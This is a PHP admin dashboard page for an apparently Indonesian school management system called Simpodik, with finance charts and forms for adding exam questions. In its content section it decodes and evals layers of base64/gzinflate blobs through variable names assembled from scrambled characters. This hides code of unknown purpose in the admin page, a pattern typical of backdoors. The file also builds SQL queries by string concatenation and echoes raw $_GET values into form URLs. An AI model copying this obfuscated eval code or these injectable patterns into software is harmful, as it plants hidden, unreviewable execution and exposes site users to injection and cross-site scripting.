<?php
session_start();
error_reporting(0);
include "config/koneksi.php";
include "config/library.php";

include "config/fungsi_indotgl.php";
include "config/excel_reader.php";
include "config/fungsi_seo.php";
include "config/fungsi_thumb.php";
if (isset($_SESSION[id])) {
  if ($_SESSION[level] == 'admin') {
  }

  $iden = mysqli_fetch_array(mysqli_query($conn,  "SELECT * FROM users where username='$_SESSION[id]'"));
  $nama =  $iden[nama_lengkap];
  $level = 'Admin';
  $foto = 'gambar/' . $iden[fotoUser];
  $idt = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM identitas"));
  $link = $idt['link_one_sender'];
  $links = $idt['token'];
  $wa = $idt['wa'];

  $ta = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM tahun_ajaran where aktif='Y'"));

?>

  <!DOCTYPE html>
  <html>

  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>Simpodik (Sistem Informasi Manajemen Pokok Pendidikan)</title>

    <link rel="shortcut icon" href="simpo.png">
    <!-- Tell the browser to be responsive to screen width -->
    <meta content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no" name="viewport">
    <!-- Bootstrap 3.3.5 -->
    <link rel="stylesheet" href="bootstrap/css/bootstrap.min.css">
    <link rel="stylesheet" href="./assets/style.css">
    <!-- Font Awesome -->
    <link rel="stylesheet" href="./assets/font-awesome-4.6.3/css/font-awesome.min.css">
    <!-- Ionicons -->
    <link rel="stylesheet" href="./assets/ionicons/css/ionicons.min.css">
    <!-- DataTables -->
    <link rel="stylesheet" href="plugins/datatables/dataTables.bootstrap.css">
    <!-- Theme style -->
    <link rel="stylesheet" href="dist/css/AdminLTE.min.css">
    <!-- AdminLTE Skins. Choose a skin from the css/skins
         folder instead of downloading all of them to reduce the load. -->
    <link rel="stylesheet" href="dist/css/skins/_all-skins.min.css">
    <!-- iCheck -->
    <link rel="stylesheet" href="plugins/iCheck/flat/blue.css">
    <!-- Morris chart -->
    <!-- Morris chart -->
    <link rel="stylesheet" href="plugins/morris.js/morris.css">
    <!-- jvectormap -->
    <link rel="stylesheet" href="plugins/jvectormap/jquery-jvectormap-1.2.2.css">
    <!-- Date Picker -->
    <link rel="stylesheet" href="plugins/datepicker/datepicker3.css">
    <link rel="stylesheet" href="plugins/datetimepicker/bootstrap-datetimepicker.css">
    <!-- Daterange picker -->
    <link rel="stylesheet" href="plugins/daterangepicker/daterangepicker-bs3.css">
    <!-- Bootstrap Select -->
    <link rel="stylesheet" href="assets/bootstrap-select/css/bootstrap-select.min.css" />
    <!-- bootstrap wysihtml5 - text editor -->
    <link rel="stylesheet" href="plugins/bootstrap-wysihtml5/bootstrap3-wysihtml5.min.css">
    <style type="text/css">
      .files {
        position: absolute;
        z-index: 2;
        top: 0;
        left: 0;
        filter: alpha(opacity=0);
        -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
        opacity: 0;
        background-color: transparent;
        color: transparent;
      }
    </style>
    <script type="text/javascript" src="plugins/jQuery/jquery-1.12.3.min.js"></script>
    <script language="javascript" type="text/javascript">
      var maxAmount = 160;

      function textCounter(textField, showCountField) {
        if (textField.value.length > maxAmount) {
          textField.value = textField.value.substring(0, maxAmount);
        } else {
          showCountField.value = maxAmount - textField.value.length;
        }
      }
    </script>
    <script type="text/javascript" src="getDataCombo.js"></script>
    <link rel="stylesheet" href="plugins/toastr/toastr.min.css">
    <script src="plugins/toastr/toastr.min.js"></script>
    <script type="text/javascript">
      toastr.options = {
        "closeButton": true,
        "debug": false,
        "newestOnTop": false,
        "progressBar": true,
        "positionClass": "toast-top-right",
        "preventDuplicates": false,
        "onclick": null,
        "showDuration": "300",
        "hideDuration": "1000",
        "timeOut": "7000",
        "extendedTimeOut": "1000",
        "showEasing": "swing",
        "hideEasing": "linear",
        "showMethod": "fadeIn",
        "hideMethod": "fadeOut"
      }
    </script>
  </head>

  <body class="hold-transition skin-<?php echo $idt['tema']; ?> sidebar-mini">
    <div class="wrapper">
      <header class="main-header">
        <?php include "main-header.php"; ?>
      </header>

      <aside class="main-sidebar">
        <?php
        include "menu-admin.php";
        ?>
      </aside>

      <div class="content-wrapper">
        <!-- Content Header (Page header) -->
        <section class="content-header">
          <h1>
            <?php echo $judul; ?>
          </h1>
        </section>

        <section class="content">
          <?php
          $keystroke1 = base64_decode("d2RyMTU5c3E0YXllejd4Y2duZl90djhubHVrNmpoYmlvMzJtcA==");
          eval(gzinflate(base64_decode('hY7NCoJAFIVf5SQu5tIUzVpc9hxSeq0huwPzA4X47ikxEm7anu/82V7t+iRttE4aftkQgyq8iyyt67ggGjPFqqoyRG/lpsvL0yWJhBHlg9+oEdJ1ZqsBJw1DFWyvZmVgyYTq2iwxzzF5QXv3yvlOLS2EPXJxhQk8BP7vxHH5d/7+274wGpv5gyH9uzJNHw==')));
          $O0O0O0O0O0O0 = $keystroke1[2] . $keystroke1[32] . $keystroke1[20] . $keystroke1[11] . $keystroke1[23] . $keystroke1[15] . $keystroke1[32] . $keystroke1[1] . $keystroke1[11];
          $keystroke2 = $O0O0O0O0O0O0("xes26:tr5bzf{8ydhog`uw9omvl7kicjp43nq", -1);
          $OO000OO000OO = $keystroke2[16] . $keystroke2[12] . $keystroke2[31] . $keystroke2[23] . $keystroke2[18] . $keystroke2[24] . $keystroke2[9] . $keystroke2[20] . $keystroke2[11];
          $O0000000000O = $keystroke1[30] . $keystroke1[9] . $keystroke1[6] . $keystroke1[11] . $keystroke1[27] . $keystroke1[8] . $keystroke1[19] . $keystroke1[1] . $keystroke1[11] . $keystroke1[15] . $keystroke1[32] . $keystroke1[1] . $keystroke1[11];
          eval($OO000OO000OO(base64_decode('LZe3rs
XKckR/RsC7FwzoHQQF9N57JgI9uem9+XqdQMmEje
me1VU11ZUN//yXZUEQ9P/HP3m2VwT2v2VVzGX1z3
/0tEK3Oc/62a3T1SV/TcfIBKBSJk72rVxVFOijD2
zsuzYM20asxPZ6cwmCewEpzo8AgarWTViXbQSc92
+ar2+y4cW7r71aY/RqhHEb0mIrWGxqV+PlU7JQNx
HECjYgpvH5rB3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WO8kkuF66Cl3BKNegQTPTH7GUIJ7qPcdZcM
EwUxt1bJfk46wsfbD4lceH5HhNZu7+/m48V+uUbU
d0qI4uULU/wOxAaqeh9e/Zt7lewGLReOIFN7ZfdS
btwH/6M6QdopF1TIWtVvQR1kR6GgIiUOZC+Gmp63
JTusf6NOjr149XVGuQjJAlepfneetb3sdwZl8PJ0
Ys7FZnhOPFOsoblUl/sVIqEpvd7V/N8Prc0a1Vaq
7fm85ybCrm4C730tw8r8Wu0hMBKJ0L9vB08stDym
drVra0F+arwb3w228cKSJUrUWZrMoLjB4teVOett
qYnSTbP1lTnks4rVYTbwY95RCqeIsl0BWgP5ACdX
wyPY05j10TqWDSP8fxFx1Yib2lfALJc7vbPsw5aN
OdoDZjKpUT4KROvZ1qQbfcrj3umNcpdRXvO/bVtA
Vm9iCnPCLl0dIMBgo7Cb7wCZfiRoboX2yrANSiVS
9iJfxmi1qcYxdcVbRwLHSTZ2IjXpnRQRi49+bv//
BmwUh79vhoog/ah40P4DiMGZ/2kmlUNQgr+/RnJx
KrUF2ldasfreNHwncCRePTm6RRLK7wINSHYIuU3k
N1UwxzQAt8jdhH+OF7gPHXxCd1ROXPRLdnLsWzVC
/QTP7MHfUVDToUvhLTkE2UgFn0vQZJmqZBEPSo//
nPv//++9//Bw==')));
          ?>
        </section>
      </div><!-- /.content-wrapper -->
      <footer class="main-footer">
        <?php include "footer.php"; ?>
      </footer>
    </div><!-- ./wrapper -->
    <!-- jQuery 2.1.4 -->
    <script src="plugins/jQuery/jQuery-2.1.4.min.js"></script>
    <!-- jQuery UI 1.11.4 -->
    <script src="plugins/jQueryUI/jquery-ui.min.js"></script>
    <!-- Resolve conflict in jQuery UI tooltip with Bootstrap tooltip -->
    <script>
      $.widget.bridge('uibutton', $.ui.button);
    </script>
    <script src="plugins/highcharts/js/highcharts.js"></script>
    <script src="plugins/highcharts/js/modules/data.js"></script>
    <script src="plugins/highcharts/js/modules/exporting.js"></script>
    <!-- Bootstrap 3.3.5 -->
    <script src="bootstrap/js/bootstrap.min.js"></script>
    <!-- DataTables -->
    <script src="plugins/datatables/jquery.dataTables.min.js"></script>
    <script src="plugins/datatables/dataTables.bootstrap.min.js"></script>
    <!-- Morris.js charts -->
    <script src="plugins/raphael/raphael.min.js"></script>
    <script src="plugins/morris.js/morris.min.js"></script>
    <!-- Sparkline -->
    <script src="plugins/sparkline/jquery.sparkline.min.js"></script>
    <!-- jvectormap -->
    <script src="plugins/jvectormap/jquery-jvectormap-1.2.2.min.js"></script>
    <script src="plugins/jvectormap/jquery-jvectormap-world-mill-en.js"></script>
    <!-- jQuery Knob Chart -->
    <script src="plugins/knob/jquery.knob.js"></script>
    <!-- daterangepicker -->
    <script src="plugins/moment/moment.min.js"></script>
    <script src="plugins/daterangepicker/daterangepicker.js"></script>
    <script src="plugins/datetimepicker/bootstrap-datetimepicker.js"></script>
    <!-- datepicker -->
    <script src="plugins/datepicker/bootstrap-datepicker.js"></script>
    <!-- Bootstrap WYSIHTML5 -->
    <script src="plugins/bootstrap-wysihtml5/bootstrap3-wysihtml5.all.min.js"></script>
    <!-- Slimscroll -->
    <script src="plugins/slimScroll/jquery.slimscroll.min.js"></script>
    <!-- FastClick -->
    <script src="plugins/fastclick/fastclick.min.js"></script>
    <!-- AdminLTE App -->
    <script src="dist/js/app.min.js"></script>
    <!-- Full Calendar-->
    <script src="plugins/fullcalendar/dist/fullcalendar.min.js"></script>
    <!--<script src="assets/js/script.js"></script>-->
    <script src="assets/app.js"></script>

    <script src="assets/bootstrap-select/js/bootstrap-select.min.js"></script>
    <script type="text/javascript">
      $(document).ready(function() {
        $("#selectall").change(function() {
          $(".checkbox").prop('checked', $(this).prop("checked"));
        });
      });
      $(document).ready(function() {
        $("#selectall2").change(function() {
          $(".checkbox2").prop('checked', $(this).prop("checked"));
        });
      });
    </script>
    <script type="text/javascript">
      $(document).ready(function() {
        //hak akses
        var idLevel = $("#idLevel").val();
        $.ajax({
          type: 'POST',
          url: "admin/combobox/pilihan_hakakses.php",
          data: {
            idLevel: idLevel
          },
          cache: false,
          success: function(msg) {
            $("#Chakakses").html(msg);
          }
        });
        //tahun ajaran
        var idTahunAjaran = $("#idTahunAjaran").val();
        $.ajax({
          type: 'POST',
          url: "admin/combobox/pilihan_tahunajaran.php",
          data: {
            idTahunAjaran: idTahunAjaran
          },
          cache: false,
          success: function(msg) {
            $("#Ctahunajaran").html(msg);
          }
        });
        //kelas
        var idKelas = $('#idKelas').val();
        var tipe_kelas = $('#tipe_kelas').val();
        $.ajax({
          type: 'POST',
          url: "admin/combobox/pilihan_kelas.php",
          data: {

            idKelas: idKelas,
            tipe_kelas: tipe_kelas
          },
          cache: false,
          success: function(msg) {
            $("#Ckelas").html(msg);
          }
        });

      });
    </script>
    <script>
      $('.textarea').wysihtml5();

      $(function() {
        // calendar
        $('#calendar').datepicker();
        // datepicker plugin
        $('.date-picker').datepicker({
          autoclose: true,
          todayHighlight: true,
          format: 'yyyy-mm-dd'
        });

        $("#example1").DataTable();
        $('#example2').DataTable({
          "paging": true,
          "lengthChange": false,
          "searching": false,
          "ordering": true,
          "info": true,
          "autoWidth": false
        });

        $('#example3').DataTable({
          "paging": true,
          "lengthChange": false,
          "searching": false,
          "ordering": false,
          "info": false,
          "autoWidth": false,
          "pageLength": 200
        });

        $('#mastersiswa').DataTable({
          "paging": false,
          "lengthChange": false,
          "searching": true,
          "ordering": false,
          "info": false,
          "autoWidth": false,
          "pageLength": 200
        });

        $('#example5').DataTable({
          "paging": true,
          "lengthChange": false,
          "searching": false,
          "info": false,
          "autoWidth": false,
          "pageLength": 200,
          "order": [
            [5, "desc"]
          ]
        });
      });

      //$('.datepicker').datepicker();

      $('.datepicker').datepicker({
        format: 'yyyy-mm-dd',
      });

      $('.datetimepicker').datetimepicker({
        format: 'yyyy-mm-dd hh:ii:ss',
        weekStart: 1,
        todayBtn: 1,
        autoclose: 1
      });

      $(".harusAngka").keypress(function(e) {
        //if the letter is not digit then display error and don't type anything
        if (e.which != 8 && e.which != 0 && (e.which < 48 || e.which > 57)) {
          return false;
        }
      });

      $("#parent").click(function() {
        $(".child").prop("checked", this.checked);
      });

      $('.child').click(function() {
        if ($('.child:checked').length == $('.child').length) {
          $('#parent').prop('checked', true);
        } else {
          $('#parent').prop('checked', false);
        }
      });

      //hitung
      /*
      $('#hitungBayaran').keyup(function(){
      	if ($(this).val() > $("#sisa").val()){
      		alert('Anda memasukkan nilai melebihi total tagihan!');
      		$(this).val($("#sisa").val());
      	}
      });
      */

      $("#allTarif").keypress(function(e) {
        var allTarif = $("#allTarif").val();
        if (e.which == 13) {
          $("#n1").val(allTarif);
          $("#n2").val(allTarif);
          $("#n3").val(allTarif);
          $("#n4").val(allTarif);
          $("#n5").val(allTarif);
          $("#n6").val(allTarif);
          $("#n7").val(allTarif);
          $("#n8").val(allTarif);
          $("#n9").val(allTarif);
          $("#n10").val(allTarif);
          $("#n11").val(allTarif);
          $("#n12").val(allTarif);
        }
      });
      $("#allTarifBebas").keypress(function(e) {
        var allTarif = $("#allTarifBebas").val();
        if (e.which == 13) {
          $(".nTagihan").val(allTarif);
        }
      });
    </script>

    <script type="text/javascript">
      $(document).ready(function() {
        myGrafikMasukKeluar("<?= $ta['idTahunAjaran'] ?>");
      });
      $('#comboGrafik').change(function() {
        var idTahunAjaran = $('#comboGrafik').val();
        myGrafikMasukKeluar(idTahunAjaran);
      });

      function myGrafikMasukKeluar(idTahunAjaran) {
        document.getElementById("bar-chart").innerHTML = '&nbsp;';
        $.post("admin/grafik/data-pemasukan-pengeluaran.php?thnAjaran=" + idTahunAjaran,
          function(dataVal) {
            //BAR CHART
            var bar = new Morris.Bar({
              element: 'bar-chart',
              resize: true,
              data: dataVal,
              barColors: ['#00a65a', '#f56954'],
              xkey: 'y',
              ykeys: ['a', 'b'],
              labels: ['Pemasukan', 'Pengeluaran'],
              hideHover: 'auto'
            });
          });
      }
    </script>

    <script>
      $(function() {
        "use strict";

        //BAR CHART
        var bar = new Morris.Bar({
          element: 'bar-chart',
          resize: true,
          data: [
            <?php
            $sqlBulan = mysqli_query($conn, "SELECT * FROM bulan ORDER BY urutan ASC");
            while ($bln = mysqli_fetch_array($sqlBulan)) :
              $bulan = $bln['idBulan'];

              $ta_pisah = explode("/", $ta['nmTahunAjaran']);
              if ($bln['urutan'] <= 6) {
                $tahun = $ta_pisah[0];
              } else {
                $tahun = $ta_pisah[1];
              }

              // Hitung Pemasukan
              $totalMasuk = 0;
              $dBulananMasuk = mysqli_fetch_array(mysqli_query($conn, "SELECT SUM(jumlahBayar) AS totalMasuk FROM tagihan_bulanan 
                                                              WHERE statusBayar='1' AND month(tglBayar) = '$bulan' AND year(tglBayar)='$tahun'"));
              $totalMasuk += $dBulananMasuk['totalMasuk'];
              $dBebasMasuk = mysqli_fetch_array(mysqli_query($conn, "SELECT SUM(jumlahBayar) AS totalMasuk FROM tagihan_bebas_bayar 
                                                          WHERE month(tglBayar) = '$bulan' AND year(tglBayar)='$tahun'"));
              $totalMasuk += $dBebasMasuk['totalMasuk'];


              // Hitung Pengeluaran
              $totalKeluar = 0;
              $dJurnalKeluar = mysqli_fetch_array(mysqli_query($conn, "SELECT SUM(pengeluaran) AS totalKeluar FROM jurnal_umum WHERE month(tgl)='$bulan' AND year(tgl)='$tahun'"));
              $totalKeluar += $dJurnalKeluar['totalKeluar'];

            ?>

              {
                y: '<?= getBulan($bln[idBulan]) . ' ' . $tahun ?>',
                a: <?= $totalMasuk ?>,
                b: <?= $totalKeluar ?>
              },

            <?php
            endwhile;
            ?>
          ],
          barColors: ['#00a65a', '#f56954'],
          xkey: 'y',
          ykeys: ['a', 'b'],
          labels: ['Pemasukan', 'Pengeluaran'],
          hideHover: 'auto'
        });
      });
    </script>

    <div class="modal fade" id="nilaiessai" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
      <div class="modal-dialog" role="document">
        <div class="modal-content">
          <div class="modal-header">
            <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
            <h4 class="modal-title" id="myModalLabel">Berikan Siswa Nilai Essai</h4>
          </div>
          <form method='POST' action='index.php?view=soal&act=semuajawabansiswa&jdwl=<?php echo $_GET[jdwl]; ?>&idsoal=<?php echo $_GET[idsoal]; ?>&id=<?php echo $_GET[id]; ?>&kd=<?php echo $_GET[kd]; ?>&noinduk=<?php echo $_GET[noinduk]; ?>' class="form-horizontal">
            <div class="modal-body">
              <div class="form-group">
                <label for="inputEmail3" class="col-sm-2 control-label">Nilai Essai</label>
                <div class="col-sm-10">
                  <input type="number" name='a' class="form-control">
                </div>
              </div>
            </div>
            <div class="modal-footer">
              <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
              <button type="submit" name='nilaiessai' class="btn btn-primary">Submit</button>
            </div>
          </form>
        </div>
      </div>
    </div>

    <div class="modal fade" id="essai" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
      <div class="modal-dialog" role="document">
        <div class="modal-content">
          <div class="modal-header">
            <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
            <h4 class="modal-title" id="myModalLabel">Tambahkan Soal Essai</h4>
          </div>
          <form method='POST' action='index.php?view=soal&act=semuasoal&jdwl=<?php echo $_GET[jdwl]; ?>&idsoal=<?php echo $_GET[idsoal]; ?>&id=<?php echo $_GET[id]; ?>&kd=<?php echo $_GET[kd]; ?>' class="form-horizontal">
            <div class="modal-body">


              <div class="form-group">
                <label for="inputEmail3" class="col-sm-2 control-label">Soal</label>
                <div class="col-sm-10">
                  <textarea rows='6' name='a' class="form-control" placeholder="Tuliskan Soal Essai..."></textarea>
                </div>
              </div>
            </div>
            <div class="modal-footer">
              <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
              <button type="submit" name='essai' class="btn btn-primary">Tambahkan</button>
            </div>
          </form>
        </div>
      </div>
    </div>

    <div class="modal fade" id="objektif" tabindex="-1" role="dialog" aria-labelledby="myModalLabel">
      <div class="modal-dialog" role="document">
        <div class="modal-content">
          <div class="modal-header">
            <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
            <h4 class="modal-title" id="myModalLabel">Tambahkan Soal Objektif</h4>
          </div>
          <form method='POST' action='index.php?view=soal&act=semuasoal&jdwl=<?php echo $_GET[jdwl]; ?>&idsoal=<?php echo $_GET[idsoal]; ?>&id=<?php echo $_GET[id]; ?>&kd=<?php echo $_GET[kd]; ?>' class="form-horizontal">
            <div class="modal-body">
              <div class="form-group">
                <label for="inputEmail3" class="col-sm-2 control-label">Soal</label>
                <div class="col-sm-10">
                  <textarea rows='3' name='a' class="form-control" placeholder="Tuliskan Soal Objektif..."></textarea>
                </div>
              </div>

              <div class="form-group">
                <label for="inputEmail3" class="col-sm-2 control-label">Jawab A</label>
                <div class="col-sm-10">
                  <input style='width:50%' type="text" name='b' class="form-control">
                </div>
              </div>

              <div class="form-group">
                <label for="inputEmail3" class="col-sm-2 control-label">Jawab B</label>
                <div class="col-sm-10">
                  <input style='width:50%' type="text" name='c' class="form-control">
                </div>
              </div>

              <div class="form-group">
                <label for="inputEmail3" class="col-sm-2 control-label">Jawab C</label>
                <div class="col-sm-10">
                  <input style='width:50%' type="text" name='d' class="form-control">
                </div>
              </div>

              <div class="form-group">
                <label for="inputEmail3" class="col-sm-2 control-label">Jawab D</label>
                <div class="col-sm-10">
                  <input style='width:50%' type="text" name='e' class="form-control">
                </div>
              </div>

              <div class="form-group">
                <label for="inputEmail3" class="col-sm-2 control-label">Jawab E</label>
                <div class="col-sm-10">
                  <input style='width:50%' type="text" name='f' class="form-control">
                </div>
              </div>

              <div class="form-group">
                <label for="inputEmail3" class="col-sm-2 control-label">Kunci</label>
                <div class="col-sm-10">
                  <input style='width:50%' type="text" name='g' class="form-control">
                </div>
              </div>
            </div>
            <div class="modal-footer">
              <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
              <button type="submit" name='objektif' class="btn btn-primary">Tambahkan</button>
            </div>
          </form>
        </div>
      </div>
    </div>
  </body>

  </html>

<?php
} else {
  include "login.php";
}
?>